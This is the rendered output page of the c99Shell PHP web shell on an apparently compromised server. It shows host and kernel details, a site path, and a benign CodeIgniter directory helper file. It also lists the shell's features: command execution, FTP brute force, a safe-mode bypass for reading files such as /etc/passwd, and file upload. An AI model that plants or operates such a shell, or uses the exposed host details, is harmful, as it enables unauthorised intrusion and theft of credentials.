!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/stdalumni/system/helpers/   drwxr-xr-x
Free 52.39 GB of 127.8 GB (40.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     directory_helper.php (2.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/**
 * CodeIgniter
 *
 * An open source application development framework for PHP 5.1.6 or newer
 *
 * @package        CodeIgniter
 * @author        ExpressionEngine Dev Team
 * @copyright    Copyright (c) 2008 - 2011, EllisLab, Inc.
 * @license        http://codeigniter.com/user_guide/license.html
 * @link        http://codeigniter.com
 * @since        Version 1.0
 * @filesource
 */

// ------------------------------------------------------------------------

/**
 * CodeIgniter Directory Helpers
 *
 * @package        CodeIgniter
 * @subpackage    Helpers
 * @category    Helpers
 * @author        ExpressionEngine Dev Team
 * @link        http://codeigniter.com/user_guide/helpers/directory_helper.html
 */

// ------------------------------------------------------------------------

/**
 * Create a Directory Map
 *
 * Reads the specified directory and builds an array
 * representation of it.  Sub-folders contained with the
 * directory will be mapped as well.
 *
 * @access    public
 * @param    string    path to source
 * @param    int        depth of directories to traverse (0 = fully recursive, 1 = current dir, etc)
 * @return    array
 */
if ( ! function_exists('directory_map'))
{
    function 
directory_map($source_dir$directory_depth 0$hidden FALSE)
    {
        if (
$fp = @opendir($source_dir))
        {
            
$filedata    = array();
            
$new_depth    $directory_depth 1;
            
$source_dir    rtrim($source_dirDIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;

            while (
FALSE !== ($file readdir($fp)))
            {
                
// Remove '.', '..', and hidden files [optional]
                
if ( ! trim($file'.') OR ($hidden == FALSE && $file[0] == '.'))
                {
                    continue;
                }

                if ((
$directory_depth OR $new_depth 0) && @is_dir($source_dir.$file))
                {
                    
$filedata[$file] = directory_map($source_dir.$file.DIRECTORY_SEPARATOR$new_depth$hidden);
                }
                else
                {
                    
$filedata[] = $file;
                }
            }

            
closedir($fp);
            return 
$filedata;
        }

        return 
FALSE;
    }
}


/* End of file directory_helper.php */
/* Location: ./system/helpers/directory_helper.php */

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--